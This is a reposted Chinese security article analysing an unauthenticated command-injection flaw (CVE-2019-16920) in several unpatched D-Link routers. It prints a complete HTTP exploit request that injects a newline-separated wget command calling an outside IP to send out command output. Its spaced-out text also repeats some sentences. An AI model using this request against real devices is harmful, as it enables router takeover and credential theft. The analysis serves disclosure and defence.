搜索

[14775] 2019-11-03_分析多款D-Link路由器中未经授权的RCE漏洞

文档创建者：s7ckTeam
浏览次数：8
最后更新：2025-01-18
2019-11-03_分析多款D-Link路由器中未经授权的RCE漏洞 分 析 多 款 D - L i n k 路 由 器 中 未 经 授 权 的 R C E 漏 洞 A l p h a _ h 4 c k   F r e e B u f   2 0 1 9 - 1 1 - 0 3 前 言 前 言 在 在 2 0 1 9 年 的 九 月 份 ， 网 络 安 全 公 司 年 的 九 月 份 ， 网 络 安 全 公 司 F o r t i n e t 旗 下 的 旗 下 的 F o r t i G u a r d   L a b s 发 现 并 报 告 了 发 现 并 报 告 了 D - L i n k 产 品 中 一 个 未 经 认 证 的 命 令 注 入 漏 洞 （ 产 品 中 一 个 未 经 认 证 的 命 令 注 入 漏 洞 （ F G - V D - 1 9 - 1 1 7 / C V E - 2 0 1 9 - 1 6 9 2 0 ） ， 而 攻 击 者 一 旦 成 功 利 用 该 漏 洞 ， 那 么 他 们 将 能 够 在 目 标 设 备 上 实 现 远 程 代 码 执 行 （ ） ， 而 攻 击 者 一 旦 成 功 利 用 该 漏 洞 ， 那 么 他 们 将 能 够 在 目 标 设 备 上 实 现 远 程 代 码 执 行 （ R C E ） 。 目 前 ， 研 究 人 员 已 经 ） 。 目 前 ， 研 究 人 员 已 经 将 该 漏 洞 评 估 为 高 危 漏 洞 ， 并 能 够 在 未 经 身 份 验 证 的 情 况 下 远 程 触 发 该 漏 洞 。 将 该 漏 洞 评 估 为 高 危 漏 洞 ， 并 能 够 在 未 经 身 份 验 证 的 情 况 下 远 程 触 发 该 漏 洞 。 根 据 研 究 人 员 的 发 现 ， 安 装 了 最 新 版 本 固 件 的 下 列 型 号 D - L i n k 产 品 将 受 到 该 漏 洞 的 影 响 ： D I R - 6 5 5 D I R - 8 6 6 L D I R - 6 5 2 D H P - 1 5 6 5 值 得 一 提 的 是 ， 这 些 产 品 厂 商 目 前 已 经 停 止 对 其 进 行 更 新 了 ， 这 也 就 意 味 着 这 个 漏 洞 将 不 会 得 到 补 丁 修 复 。 漏 洞 细 节 漏 洞 细 节 这 个 漏 洞 的 根 源 是 因 为 相 关 页 面 以 及 组 件 缺 少 适 当 的 身 份 验 证 检 测 ， 首 先 我 们 从 设 备 的 管 理 员 页 面 开 始 ， 然 后 执 行 一 次 登 录 操 作 ， 请 求 信 息 如 下 ： 登 录 操 作 通 过 U R I   / a p p l y _ s e c . c g i 执 行 ， 简 单 查 看 之 后 ， 我 们 发 现 a p p l y _ s e c . c g i   的 代 码 位 于 / w w w / c g i / s s i 的 d o _ s s c   ( 0 x 4 0 a 2 1 0 ) 函 数 中 。 c u r r e n t _ u s e r 和 u s e r _ u s e r n a m e 的 值 通 过 n v r a m 调 用 和 获 取 ： 接 下 来 ， 函 数 会 用 c u r r e n t _ u s e r 的 值 跟 变 量 a c S t a c k 1 6 0 的 值 进 行 对 比 。 n v r a m 中 c u r r e n t _ u s e r 的 值 只 将 会 在 用 户 登 录 成 功 后 被 设 置 ， 所 以 c u r r e n t _ u s e r 的 值 默 认 是 不 会 被 初 始 化 的 。 a c S t a c k 1 6 0 的 值 为 u s e r _ u s e r n a m e 经 过 b a s e 6 4 编 码 后 的 值 ， 即 b a s e 6 4 e n c o d e ( u s e r _ u s e r n a m e ) , 默 认 情 况 下 ， u s e r _ u s e r n a m e 的 值 会 被 设 置 为 “ u s e r ” ， 因 此 i V a r 2 返 回 的 值 不 可 能 为 “ 0 ” ， 这 样 就 不 会 跳 转 到 e r r o r . a s p 页 面 了 。 P O S T   / a p p l y _ s e c . c g i   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 2 3 2 . 1 2 8 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 6 9 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 6 9 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 5 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   1 4 2 C o n n e c t i o n :   c l o s e R e f e r e r :   h t t p : / / 1 9 2 . 1 6 8 . 2 3 2 . 1 2 8 / U p g r a d e - I n s e c u r e - R e q u e s t s :   1 h t m l _ r e s p o n s e _ p a g e = l o g i n _ p i c . a s p & l o g i n _ n a m e = Y W R t a W 4 % 3 D & l o g _ p a s s = & a c t i o n = d o _ g r a p h _ a u t h & l o g i n _ n = a d m i n & t m p _ l o g _ p a s s = & g r a p h _ c o d e = & s e s s i o n _ i d = 6 2 3 8 4
在 d o - w h i l e 循 环 代 码 中 ， 程 序 会 调 用 p u t _ q u e r y s t r i n g _ e n v ( ) 来 解 析 H T T P   P O S T 请 求 ， 然 后 将 值 存 储 在 E N V 中 。 接 下 来 ， 函 数 会 调 用 q u e r y _ v a r s ( “ a c t i o n ” ,   a c S t a c k 2 8 8 ,   0 x 8 0 ) ： 这 段 代 码 负 责 提 供 “ a c t i o n ” 的 值 ， 如 果 成 功 ， 函 数 将 返 回 “ 0 ” 值 。 如 果 i V a r 2 等 于 0 ， 那 么 就 来 到 了 “ i f ” 条 件 判 断 ， 它 会 用 U R I 的 值 跟 字 符 串 “ / a p p l y _ s e c . c g i ” 进 行 对 比 ， 如 果 为 真 ， 则 p p c V a r 3 将 指 向 数 组 S S C _ S E C _ O B J S ， 否 则 它 将 指 向 数 组 S S C _ O B J S 。 现 在 ， p p c V a r 3 指 向 的 是 数 组 S S C _ S E C _ O B J S ， 其 中 包 含 a c t i o n 值 列 表 ， 如 果 我 们 提 供 的 值 不 在 列 表 内 ， 程 序 将 返 回 L A B _ 0 0 4 0 a 4 5 8 ， 并 输 出 错 误 “ N o   O B J S   f o r   a c t i o n :   ” ： 这 里 同 样 缺 乏 适 当 的 身 份 验 证 机 制 ， 这 也 就 意 味 着 我 们 可 以 在 “ / a p p l y _ s e c . c g i ” 路 径 下 执 行 任 何 数 组 S S C _ S E C _ O B J S 中 定 义 的 a c t i o n 了 。 那 么 ， 数 组 S S C _ S E C _ O B J S 在 哪 里 呢 ？ 它 在 函 数 i n i t _ p l u g i n ( ) 的 寄 存 器 里 ： 我 们 跳 转 到 地 址 0 x 0 0 5 1 d 8 9 c ， 经 过 简 单 处 理 后 我 们 可 看 到 ：
下 面 这 部 分 字 符 串 和 a c t i o n 地 址 吸 引 了 我 们 的 注 意 ： 当 我 们 跳 转 到 s u b _ 4 1 A 0 1 0 后 ， 这 个 函 数 会 接 收 p i n g _ i p a d d r 的 值 ， 然 后 通 过 函 数 i n e t _ a t o n ( ) 和 i n e t _ n t o a ( ) 来 对 其 进 行 转 换 ， 然 后 执 行 p i n g 操 作 ： 如 果 我 们 尝 试 输 入 任 意 特 殊 字 符 ， 例 如 双 引 号 、 单 引 号 和 分 号 之 类 的 ， p i n g 操 作 将 会 失 效 。 而 当 我 们 传 入 换 行 符 ， 例 如 “ 8 . 8 . 8 . 8 % 0 a l s ” 时 ， 我 们 将 能 够 执 行 命 令 注 入 攻 击 ！ 这 里 ， 我 们 通 过 一 个 P O S T   H T T P 请 求 来 要 求 “ a p p l y _ s e c . c g i ” 执 行 p i n g _ t e s t 操 作 。 接 下 来 ， 在 p i n g _ i p a d d r 中 执 行 命 令 注 入 任 务 。 此 时 ， 即 使 我 们 返 回 到 了 登 录 页 面 ， p i n g _ t e s t 的 活 动 仍 然 会 持 续 执 行 ， p i n g _ i p a d d r 的 值 将 会 在 路 由 服 务 器 中 执 行 命 令 “ e c h o   1 2 3 4 ” ， 然 后 将 执 行 结 果 返 回 到 攻 击 者 控 制 的 服 务 器 端 。 这 个 时 候 ， 攻 击 者 就 可 以 通 过 其 他 一 系 列 操 作 获 取 到 目 标 设 备 的 管 理 员 密 码 了 ， 他 们 甚 至 还 可 以 在 服 务 器 端 或 路 由 器 端 安 装 后 门 或 木 马 病 毒 。 * 参 考 来 源 ： 参 考 来 源 ： f o r t i n e t ， ， F B 小 编 小 编 A l p h a _ h 4 c k 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 P O S T   / a p p l y _ s e c . c g i   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 2 3 2 . 1 2 8 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 . 1 4 ;   r v : 6 9 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 6 9 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8       A c c e p t - L a n g u a g e :   v i - V N , v i ; q = 0 . 8 , e n - U S ; q = 0 . 5 , e n ; q = 0 . 3       A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e       C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   1 3 1 C o n n e c t i o n :   c l o s e R e f e r e r :   h t t p : / / 1 9 2 . 1 6 8 . 2 3 2 . 1 2 8 / l o g i n _ p i c . a s p C o o k i e :   u i d = 1 2 3 4 1 2 3 U p g r a d e - I n s e c u r e - R e q u e s t s :   1 h t m l _ r e s p o n s e _ p a g e = l o g i n _ p i c . a s p & a c t i o n = p i n g _ t e s t & p i n g _ i p a d d r = 1 2 7 . 0 . 0 . 1 % 0 a w g e t % 2 0 - P % 2 0 / t m p / % 2 0 h t t p : / / 4 5 . 7 6 . 1 4 8 . 3 1 : 4 3 2 1 / ? $ ( e c h o   1 2 3 4 )
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理